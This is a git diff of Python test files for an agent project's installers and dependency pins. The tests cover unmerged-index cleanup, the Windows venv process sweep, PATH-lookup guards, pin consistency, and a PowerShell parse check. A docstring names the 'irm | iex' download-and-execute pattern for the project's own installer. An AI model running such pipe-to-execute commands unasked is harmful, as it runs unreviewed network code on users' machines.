return subprocess.run( - ["git", "-c", "user.email=t@t", "-c", "user.name=t", *args], - cwd=cwd, - check=check, - capture_output=True, - text=True, - ) - - -def _extract_autostash_block() -> str: - """Pull the autostash if-block from install.sh's update_repo().""" - text = INSTALL_SH.read_text() - m = re.search( - r'local autostash_ref="".*?\n fi\n', - text, - re.DOTALL, - ) - assert m is not None, "autostash block not found in install.sh" - return m.group(0) - - -def _extract_install_sh_function(name: str) -> str: - text = INSTALL_SH.read_text() - match = re.search(rf"{name}\(\) \{{.*?\n\}}", text, re.DOTALL) - assert match is not None, f"{name}() not found in install.sh" - return match.group(0) - - -def _make_unmerged_repo(repo: Path) -> None: - """Leave ``repo`` with a conflicted (unmerged) index, as an interrupted - update would.""" - _git(repo, "init") - (repo / "f.txt").write_text("base\n") - _git(repo, "add", "f.txt") - _git(repo, "commit", "-m", "base") - # Capture the default branch name only after the first commit exists - # (rev-parse on an unborn HEAD errors). - start = _git(repo, "rev-parse", "--abbrev-ref", "HEAD").stdout.strip() - - _git(repo, "checkout", "-b", "feature") - (repo / "f.txt").write_text("feature side\n") - _git(repo, "add", "f.txt") - _git(repo, "commit", "-m", "feature") - - _git(repo, "checkout", start) - (repo / "f.txt").write_text("main side\n") - _git(repo, "add", "f.txt") - _git(repo, "commit", "-m", "mainside") - - # Conflicting merge — exits non-zero and leaves the index unmerged. - _git(repo, "merge", "feature", check=False) - - -@pytest.mark.live_system_guard_bypass # runs against a dedicated throwaway repo -def test_install_sh_clears_unmerged_index_then_stashes(tmp_path: Path) -> None: - repo = tmp_path / "hermes-agent" - repo.mkdir() - _make_unmerged_repo(repo) - - # Sanity: this is exactly the state that breaks `git stash` / `git checkout`. - assert _git(repo, "ls-files", "--unmerged").stdout.strip(), ( - "test setup failed to produce an unmerged index" - ) - - block = _extract_autostash_block() - script = ( - "set -e\n" - 'log_info() { echo "INFO: $*"; }\n' - f'INSTALL_DIR="{repo}"\n' - f"{_extract_install_sh_function('discard_update_lockfile_churn')}\n" - "run() {\n" - f"{block}" - "}\n" - "run\n" - "echo BLOCK_OK\n" - ) - res = subprocess.run( - ["bash", "-c", script], cwd=repo, capture_output=True, text=True - ) - - # The block must complete (previously `git stash` failed with "could not - # write index" on the unmerged tree). - assert res.returncode == 0, res.stderr - assert "BLOCK_OK" in res.stdout - assert "Clearing unmerged index entries" in res.stdout - - # The conflict state is gone ... - assert _git(repo, "ls-files", "--unmerged").stdout.strip() == "", ( - "unmerged entries should have been cleared" - ) - # ... and the local changes were preserved in a stash, not discarded. - assert _git(repo, "stash", "list").stdout.strip(), ( - "local changes should be preserved in a stash" - ) - - -def test_install_ps1_clears_unmerged_index_before_stash() -> None: - """install.ps1 must clear an unmerged index before stash/checkout, and do - so *before* the stash push (order matters — the fix is a no-op otherwise).""" - text = INSTALL_PS1.read_text() - assert "ls-files --unmerged" in text, ( - "install.ps1 must detect an unmerged index before updating" - ) - idx_unmerged = text.index("ls-files --unmerged") - idx_reset = text.index("reset -q", idx_unmerged) - idx_stash = text.index("stash push --include-untracked") - assert idx_unmerged < idx_stash, ( - "the unmerged-index clear must run before `git stash push`" - ) - assert idx_reset < idx_stash, "`git reset` must run before `git stash push`" - - -def test_install_sh_clears_unmerged_index_before_stash_source_order() -> None: - """Same ordering contract for install.sh's source.""" - text = INSTALL_SH.read_text() - assert "ls-files --unmerged" in text - idx_unmerged = text.index("ls-files --unmerged") - idx_stash = text.index("stash push --include-untracked") - assert idx_unmerged < idx_stash - - -def test_install_ps1_stops_venv_resident_processes_before_parking_venv() -> None: - """The Windows venv-recreate path must stop every process running out of the - old venv before moving it aside. - - A gateway autostarted by a scheduled task runs as - ``venv\\Scripts\\pythonw.exe -m hermes_cli.main gateway run`` — image name - ``pythonw``, not ``hermes.exe`` — so the ``taskkill /IM hermes.exe`` guard - misses it and the loaded ``.pyd`` stays locked (issues #47036/#47557/#47910). - The recreate branch must sweep by venv path prefix before Rename-Item, and - must never fall back to an in-place ``Remove-Item`` of the live ``venv`` - (#83149 — that path can gut site-packages with no rollback). - """ - text = INSTALL_PS1.read_text() - - # The hermes.exe tree-kill is preserved (kills spawned child processes too). - assert 'taskkill /F /T /IM hermes.exe' in text - - # The venv path-prefix sweep exists. It must match by case-insensitive - # StartsWith, NOT PowerShell -like: a venv path containing wildcard - # metacharacters ('[', ']') — legal in a Windows user name — silently fails - # to match under -like, reintroducing the exact miss this fix closes. - idx_recreate = text.index("Virtual environment already exists, recreating") - idx_sweep = text.index("StartsWith($venvPrefix", idx_recreate) - assert "[System.StringComparison]::OrdinalIgnoreCase" in text[idx_sweep:idx_sweep + 200] - assert 'ExecutablePath -like "$venvRoot' not in text, ( - "the -like wildcard match must not be used for venv path scoping" - ) - - # The process sweep must run before the venv is parked, or it is a no-op. - idx_park = text.index('Rename-Item -LiteralPath "venv"', idx_recreate) - assert idx_sweep < idx_park, ( - "venv-resident processes must be stopped before Rename-Item parks the venv" - ) - assert 'Remove-Item -Recurse -Force "venv"' not in text[idx_recreate:], ( - "must not fall back to in-place delete of the live venv (#83149)" - ) - assert "Could not move the existing venv aside" in text[idx_recreate:] diff --git a/tests/test_managed_runtime_resolution.py b/tests/test_managed_runtime_resolution.py index e52a4ddcfb..c94cae28be 100644 --- a/tests/test_managed_runtime_resolution.py +++ b/tests/test_managed_runtime_resolution.py @@ -11,8 +11,9 @@ code has two failure modes: how a generated systemd unit or launchd plist can bake a system Node in and keep resolving it across reboots. -The fix per call site is one of ``find_node_executable()``, -``iter_hermes_node_dirs()``, ``resolve_uv()``, or ``ensure_uv()``. This test is +The fix per call site is one of ``find_node_executable()``, ``pm.env_for()``, +``pm.ensure()``, or (transitional) +``pm.uv()``. This test is the ratchet that stops a new bare lookup from being added back. Reading source is normally banned (see AGENTS.md). It is the right tool here and @@ -26,7 +27,7 @@ whose behavior is separately covered by a real test. from __future__ import annotations import ast -import functools +import subprocess from pathlib import Path import pytest @@ -63,26 +64,18 @@ _ALLOWED: dict[tuple[str, str], str] = { "can only run what is on that subshell's PATH, which local.py populates " "with the managed dirs — so PATH is the correct question to ask here." ), - ("hermes_cli/update_cmd.py", "uv"): ( - "Termux fallback: a pkg-installed uv lands on PATH but not in the " - "managed bin dir, and it is checked only after resolve_uv() misses." - ), ("hermes_cli/update_cmd.py", "npm"): ( "WSL diagnostic: deliberately inspects what PATH resolves so it can " "warn that the only reachable npm is the Windows one." ), - ("tools/lazy_deps.py", "uv"): ( - "Fallback after resolve_uv(), plus the except-branch for the " - "hermes_cli import guard." - ), ("tools/browser_use_cli.py", "uv"): ( - "install_cli()'s fallback after ensure_uv() misses — a user-installed " + "install_cli()'s fallback after pm.uv() misses — a user-installed " "uv on PATH is a legitimate last rung before giving up with install " "guidance." ), ("hermes_cli/gateway.py", "node"): ( - "Fallback rung of _append_node_dir_for_service(), after the managed " - "dirs from iter_hermes_node_dirs() are already appended." + "Fallback rung of _append_node_dir_for_service(), after the pm " + "store's managed dirs are already appended." ), ("hermes_cli/main.py", "node"): ( "_ensure_tui_node()'s idempotence gate: the question really is 'is " @@ -121,40 +114,37 @@ def _iter_which_calls(tree: ast.AST): def _source_files() -> list[Path]: - files: list[Path] = [] - for path in REPO_ROOT.rglob("*.py"): - rel = path.relative_to(REPO_ROOT) - if rel.parts and rel.parts[0] in _EXEMPT_DIRS: - continue - # Skip packaging copies of the source tree (sdist extractions like - # hermes_agent-0.20.5/, build/ and *.egg-info dirs). CI jobs that - # build the wheel leave one in the workspace; scanning it re-finds - # every already-exempted call site under a versioned path prefix - # that can never match an _ALLOWED key, failing the guard on code - # that was never touched. A dir is a packaging copy iff its top - # level carries PKG-INFO (sdist/egg metadata) or it is a build/ - # dist output directory. - if rel.parts and _is_packaging_copy(rel.parts[0]): - continue - files.append(path) - return files - - -@functools.lru_cache(maxsize=None) -def _is_packaging_copy(top_level: str) -> bool: - """Whether *top_level* (a dir name under REPO_ROOT) is a build artifact.""" - if top_level in ("build", "dist") or top_level.endswith(".egg-info"): - return True - candidate = REPO_ROOT / top_level - if not candidate.is_dir(): - return False - return (candidate / "PKG-INFO").exists() + # Enumerate the .py files git TRACKS, not the working directory. git knows + # the source of truth, and that excludes every build artifact by + # construction — .venv/, .worktrees/, apps/desktop/build/ and + # apps/desktop/release/ (which each bundle a full copy of this source tree + # for the MSIX pack), and any sdist/egg extraction. Walking the disk with + # rglob would re-find every already-exempted call site inside those copies + # under a nested path prefix that can never match an _ALLOWED key. A + # gitignored dir cannot carry this branch's real code, so skipping it is + # correct, not lossy. + try: + out = subprocess.run( + ["git", "ls-files", "-z", "--", "*.py"], + cwd=REPO_ROOT, + capture_output=True, + check=True, + ).stdout + except (subprocess.CalledProcessError, FileNotFoundError): + # Not a git checkout (installed copy, etc.) — fall back to a disk + # walk so the guard still runs rather than silently passing. + return sorted(REPO_ROOT.rglob("*.py")) + rels = out.decode("utf-8", "replace").split("\0") + return [REPO_ROOT / rel for rel in rels if rel] def _findings() -> list[tuple[str, str, int]]: """Return (relpath, command, lineno) for every bare managed lookup.""" found: list[tuple[str, str, int]] = [] for path in _source_files(): + rel = path.relative_to(REPO_ROOT) + if rel.parts and rel.parts[0] in _EXEMPT_DIRS: + continue try: source = path.read_text(encoding="utf-8") except (OSError, UnicodeDecodeError): @@ -165,9 +155,8 @@ def _findings() -> list[tuple[str, str, int]]: tree = ast.parse(source) except SyntaxError: continue - rel = path.relative_to(REPO_ROOT).as_posix() for command, lineno in _iter_which_calls(tree): - found.append((rel, command, lineno)) + found.append((rel.as_posix(), command, lineno)) return found @@ -186,9 +175,9 @@ def test_no_unreviewed_bare_managed_runtime_lookups(): "arbitrary process's PATH, so this resolves a system copy — or nothing " "— on an install that has a managed one.\n" "Use instead:\n" - " uv -> managed_uv.resolve_uv() (lookup) or ensure_uv() (may install)\n" + " uv -> pm.uv(realize=False) (lookup) or pm.uv() (may realize)\n" " node/npm -> hermes_constants.find_node_executable()\n" - " PATH env -> hermes_constants.iter_hermes_node_dirs()\n" + " PATH env -> hermes_constants.with_hermes_node_path()\n" "If PATH really is the right question, add the site to _ALLOWED with a " "reason." ) @@ -210,8 +199,6 @@ def test_allowlist_has_no_stale_entries(): "helper", [ "find_node_executable", - "find_hermes_node_executable", - "iter_hermes_node_dirs", "with_hermes_node_path", ], ) @@ -223,8 +210,8 @@ def test_managed_node_helpers_exist(helper): def test_managed_uv_helpers_exist(): - from hermes_cli.managed_uv import ensure_uv, managed_uv_path, resolve_uv + from pm import ensure, run, uv - assert callable(resolve_uv) - assert callable(ensure_uv) - assert managed_uv_path().parent.name == "bin" + assert callable(uv) + assert callable(ensure) + assert callable(run) diff --git a/tests/test_packaging_metadata.py b/tests/test_packaging_metadata.py index 7580c91e1f..85abd2f203 100644 --- a/tests/test_packaging_metadata.py +++ b/tests/test_packaging_metadata.py @@ -29,7 +29,7 @@ def test_packaging_declared_as_core_dependency(): """Regression for #40503. ``packaging`` is imported directly on three production paths - (plugins/memory/hindsight/__init__.py, tools/lazy_deps.py, + (plugins/memory/hindsight/__init__.py, pm/extras.py, hermes_cli/main.py) yet was undeclared, so it only reached users transitively. The slim Docker image shipped without it, silently disabling Hindsight append-mode and version-constraint checks. It must @@ -41,7 +41,7 @@ def test_packaging_declared_as_core_dependency(): names = {_distribution_name(dep) for dep in core} assert "packaging" in names, ( "packaging is imported on production paths (hindsight version compare, " - "lazy_deps version constraints, requirement parsing) and must be a " + "version constraints, requirement parsing) and must be a " "declared core dependency, not a transitive — see #40503" ) @@ -52,8 +52,8 @@ def test_faster_whisper_is_not_a_base_dependency(): assert not any(dep.startswith("faster-whisper") for dep in deps) - voice_extra = data["project"]["optional-dependencies"]["voice"] - assert any(dep.startswith("faster-whisper") for dep in voice_extra) + stt_extra = data["project"]["optional-dependencies"]["stt-whisper"] + assert any(dep.startswith("faster-whisper") for dep in stt_extra) # Minimum non-vulnerable Starlette: CVE-2026-48710 ("BadHost") was fixed in @@ -65,7 +65,7 @@ def test_faster_whisper_is_not_a_base_dependency(): # enforce the floor in both pyproject and the committed lockfile. _STARLETTE_CVE_FLOOR = (1, 0, 1) _UPDATE_DOWNGRADE_GUARD_FLOORS = { - # `hermes update` reinstalls exact pins from pyproject/lazy_deps. These + # `hermes update` reinstalls exact pins from pyproject/uv.lock. These # reviewed CVE pins must not slide back to stale versions that downgrade # already-patched user environments. "cryptography": (50, 0, 0), @@ -147,234 +147,3 @@ def test_locked_starlette_is_not_vulnerable_to_cve_2026_48710(): f"floor {'.'.join(map(str, _STARLETTE_CVE_FLOOR))} — regenerate the " f"lockfile after bumping the pin" ) - - - - -# --------------------------------------------------------------------------- -# Dependency-pin consistency: pyproject extras <-> tools/lazy_deps.py -# -# The same package is exact-pinned in two hand-maintained places: the -# [project.optional-dependencies] extras in pyproject.toml and the LAZY_DEPS -# allowlist in tools/lazy_deps.py (the lazy-install path deliberately mirrors -# the extras — see the comments on LAZY_DEPS: "match the corresponding extra -# in pyproject.toml ... update both this map AND the corresponding extra"). -# -# They have silently drifted more than once: the aiohttp Slack pin (3.13.3 in -# the extras vs 3.13.4 in lazy_deps) and the anthropic pin (0.86.0 vs 0.87.0). -# The version a user ends up with then depends on whether the backend was -# installed eagerly (extra) or lazily (lazy_deps) — and for a CVE bump applied -# to only one side, that divergence is a latent security regression. These two -# tests assert the documented contract: the two sources agree, in lockstep. -# --------------------------------------------------------------------------- - -# Matches "name==version" and "name[extra]==version", ignoring any trailing -# environment marker / comment. Only exact pins are collected; ranged specs -# (">=", "<") can't be compared for equality and are skipped. -_PIN_RE = re.compile( - r"^\s*([A-Za-z0-9][A-Za-z0-9._-]*)\s*(?:\[[^\]]*\])?\s*==\s*([^\s;,#]+)" -) - - -def _canonical(name: str) -> str: - # PEP 503 normalization so e.g. discord.py / discord-py compare equal. - return re.sub(r"[-_.]+", "-", name).lower() - - -def _pins_from_specs(specs): - """Map canonical package name -> set of exact-pinned versions seen.""" - pins: dict[str, set[str]] = {} - for spec in specs: - m = _PIN_RE.match(spec) - if not m: - continue - pins.setdefault(_canonical(m.group(1)), set()).add(m.group(2)) - return pins - - -def _locked_versions(package: str) -> set[str]: - lock = tomllib.loads((REPO_ROOT / "uv.lock").read_text(encoding="utf-8")) - return { - pkg["version"] - for pkg in lock.get("package", []) - if _canonical(pkg["name"]) == _canonical(package) - } - - -def _pyproject_pinned_specs(): - data = tomllib.loads((REPO_ROOT / "pyproject.toml").read_text(encoding="utf-8")) - specs = list(data["project"].get("dependencies", [])) - for extra in data["project"].get("optional-dependencies", {}).values(): - specs.extend(extra) - return specs - - -def _lazy_deps_pinned_specs(): - """Extract every string literal inside the LAZY_DEPS dict via AST. - - Parsing rather than importing keeps this test free of - tools/lazy_deps.py's runtime imports and side effects. - """ - src = (REPO_ROOT / "tools" / "lazy_deps.py").read_text(encoding="utf-8") - tree = ast.parse(src) - specs: list[str] = [] - for node in ast.walk(tree): - if isinstance(node, ast.Assign): - targets = node.targets - elif isinstance(node, ast.AnnAssign): - targets = [node.target] - else: - continue - if not any(isinstance(t, ast.Name) and t.id == "LAZY_DEPS" for t in targets): - continue - for sub in ast.walk(node.value): - if isinstance(sub, ast.Constant) and isinstance(sub.value, str): - specs.append(sub.value) - assert specs, "could not extract specs from LAZY_DEPS — the AST parser drifted" - return specs - - -def test_pyproject_pins_are_internally_consistent(): - """No package may be exact-pinned to two different versions in pyproject. - - A package legitimately appearing in several extras (e.g. aiohttp in - messaging/slack/homeassistant/sms) must use the SAME version everywhere. - """ - pins = _pins_from_specs(_pyproject_pinned_specs()) - conflicts = {name: sorted(v) for name, v in pins.items() if len(v) > 1} - assert not conflicts, ( - "pyproject.toml exact-pins the same package to different versions " - "across [project.dependencies] / extras: " + str(conflicts) - ) - - -def test_build_system_requires_exempt_from_exclude_newer(): - """Regression guard for the #78227 / #75992 exclude-newer brick class. - - ``[tool.uv].exclude-newer`` applies to ``[build-system].requires`` too. - When a resolver cannot see a package's upload date (old uv, mirror - index, stale HTTP cache) it treats the release as newer than the cutoff - and filters it — and because build requirements are exact-pinned there - is no older candidate to fall back to, so the project cannot even be - BUILT from a git checkout ("No solution found when resolving: - setuptools==83.0.0", observed on released v0.20.0). - - Exempting an exact-pinned build requirement costs nothing: the version - cannot move without a reviewed pin bump, so exclude-newer adds no float - protection for it. Every build requirement must therefore appear in the - ``exclude-newer-package`` whitelist (set to ``false``) for as long as a - relative ``exclude-newer`` cutoff is configured. - """ - data = tomllib.loads((REPO_ROOT / "pyproject.toml").read_text(encoding="utf-8")) - uv_cfg = data.get("tool", {}).get("uv", {}) - if "exclude-newer" not in uv_cfg: - pytest.skip("no exclude-newer cutoff configured — nothing to exempt") - whitelist = { - _canonical(name) - for name, enabled in uv_cfg.get("exclude-newer-package", {}).items() - if enabled is False - } - build_requires = { - _canonical(_distribution_name(req)) - for req in data.get("build-system", {}).get("requires", []) - } - missing = sorted(build_requires - whitelist) - assert not missing, ( - "build-system.requires packages are subject to the exclude-newer " - "cutoff but missing from the [tool.uv].exclude-newer-package " - f"whitelist — fresh builds brick when upload dates are invisible: {missing}" - ) - - - - -def _lazy_deps_by_feature(): - """Parse LAZY_DEPS into {feature_name: [spec, ...]} via AST. - - Same parse-don't-import rationale as _lazy_deps_pinned_specs, but keeps the - feature -> specs grouping so per-feature coverage can be asserted. - """ - src = (REPO_ROOT / "tools" / "lazy_deps.py").read_text(encoding="utf-8") - tree = ast.parse(src) - for node in ast.walk(tree): - targets = ( - node.targets if isinstance(node, ast.Assign) - else [node.target] if isinstance(node, ast.AnnAssign) - else [] - ) - if not any(isinstance(t, ast.Name) and t.id == "LAZY_DEPS" for t in targets): - continue - if not isinstance(node.value, ast.Dict): - continue - by_feature: dict[str, list[str]] = {} - for key, value in zip(node.value.keys, node.value.values): - if not (isinstance(key, ast.Constant) and isinstance(key.value, str)): - continue - by_feature[key.value] = [ - sub.value - for sub in ast.walk(value) - if isinstance(sub, ast.Constant) and isinstance(sub.value, str) - ] - assert by_feature, "could not extract features from LAZY_DEPS — AST parser drifted" - return by_feature - raise AssertionError("LAZY_DEPS dict literal not found in tools/lazy_deps.py") - - -# Security-critical packages whose patched floor must be enforced on EVERY -# install path, eager and lazy. test_pyproject_and_lazy_deps_pins_agree only -# fires when a package is pinned in BOTH sources, so it cannot catch a lazy -# feature that omits the pin entirely — the exact gap that left platform.slack -# carrying aiohttp==3.14.0 while platform.discord (whose discord.py dep pulls -# aiohttp transitively as its HTTP backbone) shipped without it, so the lazy -# Discord path could keep an already-installed vulnerable aiohttp. A fully -# general "no mirrored feature drops a pin" check is impossible statically -# (it can't see transitive deps), so this is the explicit coverage contract: -# each security package -> the lazy features that bundle an SDK pulling it and -# must therefore carry the same pin as the pyproject extra. -_REQUIRED_SECURITY_PINS = { - # Every lazy messaging feature whose SDK pulls aiohttp transitively must - # carry the patched floor directly: discord.py (aiohttp<4), slack-bolt, - # mautrix/aiohttp-socks (aiohttp<4 / >=3.10), and microsoft-teams-apps — - # none of those upper/lower bounds excludes a vulnerable already-installed - # aiohttp, so the lazy path would not upgrade it without an explicit pin. - "aiohttp": { - "platform.discord", - "platform.slack", - "platform.matrix", - "platform.teams", - }, -} - - -def test_security_pins_present_in_mirrored_lazy_features(): - """Curated security pins must be present (not just version-consistent) in - every lazy feature that bundles an SDK pulling that package transitively. - """ - py = _pins_from_specs(_pyproject_pinned_specs()) - by_feature = _lazy_deps_by_feature() - - problems = [] - for pkg, features in _REQUIRED_SECURITY_PINS.items(): - canon = _canonical(pkg) - expected = py.get(canon) - assert expected, ( - f"{pkg} is listed in _REQUIRED_SECURITY_PINS but is not exact-pinned " - f"in pyproject.toml — update the map or the pin." - ) - for feature in sorted(features): - specs = by_feature.get(feature) - assert specs is not None, ( - f"lazy feature {feature!r} named in _REQUIRED_SECURITY_PINS no " - f"longer exists in LAZY_DEPS — update the map." - ) - got = _pins_from_specs(specs).get(canon) - if got != expected: - problems.append( - f"{feature}: {pkg}=" - f"{sorted(got) if got else 'MISSING'}, expected {sorted(expected)}" - ) - assert not problems, ( - "a lazy feature is missing a security pin it must mirror from the " - "pyproject extras — the lazy install path would not enforce the " - "CVE-patched floor:\n " + "\n ".join(problems) - ) diff --git a/tests/test_powershell_script_syntax.py b/tests/test_powershell_script_syntax.py new file mode 100644 index 0000000000..d164f4e310 --- /dev/null +++ b/tests/test_powershell_script_syntax.py @@ -0,0 +1,91 @@ +"""The repo's PowerShell scripts must parse — checked with the REAL parser. + +install.ps1 is fetched standalone (``irm | iex``) by every Windows user, so +a parse error ships instantly and breaks installs at line 1. Linux CI cannot +execute PowerShell, which is why the other install_ps1 tests are source-regex +probes; this test runs on the ``windows_only`` lane (tests-os.yml), where a +PowerShell host is part of the OS, and asks the actual language parser. + +The harness is written to a file and invoked with ``-File`` because inline +``-Command`` needs every ``$`` and quote to survive a shell hop, and +``[ref]$null`` fails inside ``-Command`` with "[ref] cannot be applied to a +variable that does not exist" — an error easy to misread as a finding +against the file under test. +""" + +from __future__ import annotations + +import shutil +import subprocess +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parent.parent + +# Every PowerShell script a user or CI machine actually runs. Discovered, +# not hardcoded: a new script in scripts/ gets gated automatically. +PS1_SCRIPTS = sorted( + list(REPO_ROOT.glob("scripts/*.ps1")) + + list(REPO_ROOT.glob("*.ps1")) # repo-root scripts (setup-hermes.ps1, activate.ps1) +) + +_HARNESS = """\ +param([Parameter(ValueFromRemainingArguments = $true)][string[]]$Paths) +$failed = $false +foreach ($p in $Paths) { + $tokens = $null + $errors = $null + [System.Management.Automation.Language.Parser]::ParseFile( + $p, [ref]$tokens, [ref]$errors) | Out-Null + if ($errors.Count) { + $failed = $true + Write-Output "PS SYNTAX ERRORS: $p" + $errors | Select-Object -First 8 | ForEach-Object { + Write-Output (" {0}: {1}" -f $_.Extent.StartLineNumber, $_.Message) + } + } else { + Write-Output "PS SYNTAX OK: $p" + } +} +if ($failed) { exit 1 } +""" + + +def _powershell_host() -> str | None: + for name in ("pwsh", "powershell"): + found = shutil.which(name) + if found: + return found + return None + + +def test_repo_has_powershell_scripts_to_gate() -> None: + """The glob must keep finding the scripts this gate exists for.""" + names = {p.name for p in PS1_SCRIPTS} + assert "install.ps1" in names, PS1_SCRIPTS + + +@pytest.mark.windows_only +def test_powershell_scripts_parse(tmp_path: Path) -> None: + host = _powershell_host() + assert host is not None, "no PowerShell host on a Windows runner" + + harness = tmp_path / "ps-syntax-check.ps1" + harness.write_text(_HARNESS, encoding="utf-8") + + result = subprocess.run( + [host, "-NoProfile", "-ExecutionPolicy", "Bypass", + "-File", str(harness)] + + [str(p) for p in PS1_SCRIPTS], + capture_output=True, + text=True, + timeout=120, + ) + assert result.returncode == 0, ( + f"PowerShell parse errors:\n{result.stdout}\n{result.stderr}" + ) + # Belt and braces: the harness printed a verdict for every script, so a + # harness that silently checked nothing cannot pass. + for script in PS1_SCRIPTS: + assert f"PS SYNTAX OK: {script}" in result.stdout, result.stdout diff --git a/tests/test_project_metadata.py b/tests/test_project_metadata.py index 2b2ae47a6f..72068cc834 100644 --- a/tests/test_project_metadata.py +++ b/tests/test_project_metadata.py @@ -24,9 +24,9 @@ def test_matrix_extra_not_in_all(): With matrix in [all], `uv sync --locked` on Windows tried to build python-olm from sdist and failed on `make`. As of 2026-05-12 the - [matrix] extra is excluded from [all] entirely and routed through - `tools/lazy_deps.py` (LAZY_DEPS["platform.matrix"]) — installs at - first use, where the user is expected to have a toolchain. + [matrix] extra is excluded from [all] entirely and installs on first + use (pm.ensure_import("matrix")), where the user is expected to have + a toolchain. """ optional_dependencies = _load_optional_dependencies() @@ -38,39 +38,37 @@ def test_matrix_extra_not_in_all(): if "matrix" in dep ] assert not matrix_in_all, ( - "matrix must not appear in [all] — it's lazy-installed via " - "tools/lazy_deps.py LAZY_DEPS['platform.matrix']. Found: " - f"{matrix_in_all}" + "matrix must not appear in [all] — it installs on first use via " + f"pm.ensure_import('matrix'). Found: {matrix_in_all}" ) def test_lazy_installable_extras_excluded_from_all(): - """Policy (2026-05-12): every extra that has a `LAZY_DEPS` entry - in `tools/lazy_deps.py` must be excluded from [all]. + """Policy (2026-05-12): opt-in backends stay out of [all]. - The lazy-install system exists so one quarantined PyPI release + On-demand install exists so one quarantined PyPI release (e.g. mistralai 2.4.6) can't break every fresh install. Putting a - backend in BOTH [all] and LAZY_DEPS defeats that — fresh installs - eager-install it and inherit whatever's broken upstream. - - If you're tempted to add an opt-in backend to [all] for "convenience," - add it to `LAZY_DEPS` instead so it installs at first use. + backend in [all] defeats that — fresh installs eager-install it and + inherit whatever's broken upstream. Opt-in backends are extras that + install at first use via pm.ensure_import(extra). """ optional_dependencies = _load_optional_dependencies() - # Hard-coded mirror of the extras that are in LAZY_DEPS as of - # 2026-05-12. This list intentionally duplicates rather than - # imports tools/lazy_deps.py so the test stays a contract — if - # someone adds a new lazy-install backend, they have to update - # this list AND verify [all] doesn't contain it. + # The on-demand backends as of 2026-05-12. Deliberately a literal + # list so the test stays a contract — adding a new opt-in backend + # means updating this list AND verifying [all] doesn't contain it. lazy_covered_extras = { "anthropic", "bedrock", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "tts-premium", - "voice", # faster-whisper / sounddevice / numpy + "voice", # faster-whisper / sounddevice / numpy (composes stt-whisper + audio-io) + "stt-whisper", "modal", "daytona", "vercel", "messaging", "slack", "matrix", "dingtalk", "feishu", + "telegram", "discord", + "wake", "wake-openwakeword", "wake-sherpa", "wake-porcupine", "wake-tflite", + "google-chat", "honcho", "hindsight", "supermemory", "mem0", "mistral", # mistralai — Voxtral STT/TTS, lazy-installed (stt.mistral / tts.mistral) @@ -102,54 +100,31 @@ def _exact_pins(specs): -def test_pyproject_pins_match_lazy_deps_pins(): - """Generalize #31817 to the whole pin surface, not just aiohttp. +def test_extras_pin_each_package_at_one_version(): + """One package, one version, across every extra. - Any package that is exact-pinned in BOTH a pyproject extra and a - `tools/lazy_deps.py` LAZY_DEPS entry must use the SAME version in both - places. When they drift, `hermes update` resolves the pyproject extra - pin and downgrades the package to the older version, reopening whatever - the lazy pin fixed (the aiohttp #31817 case, and the anthropic - CVE-2026-34450/34452 case found alongside it) — only for the lazy - refresh to re-upgrade it on next feature use. The lazy pin is the - security-current source of truth; extras must track it. + tools/lazy_deps.py is gone — pyproject.toml is the single authority for + optional-dependency pins (pm syncs the venv from uv.lock, which resolves + from here). The drift class that killed us before (#31817: two documents + pinning the same package differently, update ping-ponging the version) + is now only possible BETWEEN extras — so pin consistency across extras + is the whole remaining contract. """ - from tools.lazy_deps import LAZY_DEPS - optional_dependencies = _load_optional_dependencies() - # package -> version, as pinned across all pyproject extras. If an - # extra pins a package at a different version than another extra, that - # is itself a bug (caught below); here we just collect the set. - pyproject_pins: dict[str, set[str]] = {} - for specs in optional_dependencies.values(): + pins: dict[str, dict[str, set[str]]] = {} + for extra, specs in optional_dependencies.items(): for package, version in _exact_pins(specs).items(): - pyproject_pins.setdefault(package, set()).add(version) - - # package -> version, as pinned across all LAZY_DEPS entries. - lazy_pins: dict[str, set[str]] = {} - for specs in LAZY_DEPS.values(): - if isinstance(specs, str): - specs = (specs,) - for package, version in _exact_pins(specs).items(): - lazy_pins.setdefault(package, set()).add(version) - - shared = sorted(set(pyproject_pins) & set(lazy_pins)) - assert shared, "expected at least one package pinned in both pyproject and LAZY_DEPS" + pins.setdefault(package, {}).setdefault(version, set()).add(extra) drift = { - package: { - "pyproject": sorted(pyproject_pins[package]), - "lazy_deps": sorted(lazy_pins[package]), - } - for package in shared - if pyproject_pins[package] != lazy_pins[package] + package: {v: sorted(extras) for v, extras in versions.items()} + for package, versions in pins.items() + if len(versions) > 1 } assert not drift, ( - "pyproject extras pins must match tools/lazy_deps.py LAZY_DEPS pins " - "for every shared package — otherwise `hermes update` downgrades the " - "package below the security-current lazy pin (see #31817). Drift: " - f"{drift}" + "extras pin the same package at different versions — uv sync would " + f"resolve whichever wins and silently downgrade the other: {drift}" ) @@ -191,101 +166,3 @@ def _uv_lock_versions(package: str) -> set[str]: lock, ) } - - -def test_every_lazy_deps_exact_pin_matches_uv_lock(): - """Class invariant for #60783/#60685: one version per package, everywhere. - - Any package that is BOTH exact-pinned in ``tools/lazy_deps.py`` AND - resolved in the committed uv.lock is a *shared* package: the core - install ships the locked version, and the ``hermes update`` lazy-refresh - pass re-asserts the LAZY_DEPS pin whenever the package is present - (``active_features()``). If the two disagree, every update churns the - package — and when the lazy pin is older, it force-DOWNGRADES a version - another consumer needs (huggingface-hub==1.2.3 vs transformers' - >=1.5.0 broke Hindsight local embeddings; stale aiohttp pins reopened - patched CVEs in #31817). Contract: for every such package, pin == - locked version. When bumping a pin, regenerate the lock in the same - commit (`uv lock --upgrade-package `), and vice versa. - """ - from tools.lazy_deps import LAZY_DEPS - - drift = {} - seen = set() - for feature, specs in LAZY_DEPS.items(): - for package, pin in _exact_pins(specs).items(): - if (package, pin) in seen: - continue - seen.add((package, pin)) - locked = _uv_lock_versions(package) - if not locked: - # Lazy-only package never resolved by the core lock — no - # shared-version hazard. - continue - if pin not in locked: - drift.setdefault(package, {})[feature] = { - "lazy_pin": pin, - "uv_lock": sorted(locked), - } - - assert not drift, ( - "LAZY_DEPS exact pins must match the uv.lock resolved version for " - "every package the core lock also ships — otherwise `hermes update` " - "churns/downgrades the shared package out from under its other " - "consumers (#60783, #31817). Bump the pin AND run " - "`uv lock --upgrade-package ` in the same commit. Drift: " - f"{drift}" - ) - - -def test_huggingface_hub_lazy_pin_matches_uv_lock(): - """The whole tree must converge on ONE huggingface-hub version (#60783). - - huggingface-hub is a shared dependency: the core lock resolves it (via - faster-whisper/tokenizers, and transformers/sentence-transformers when - local Hindsight embeddings are installed), and 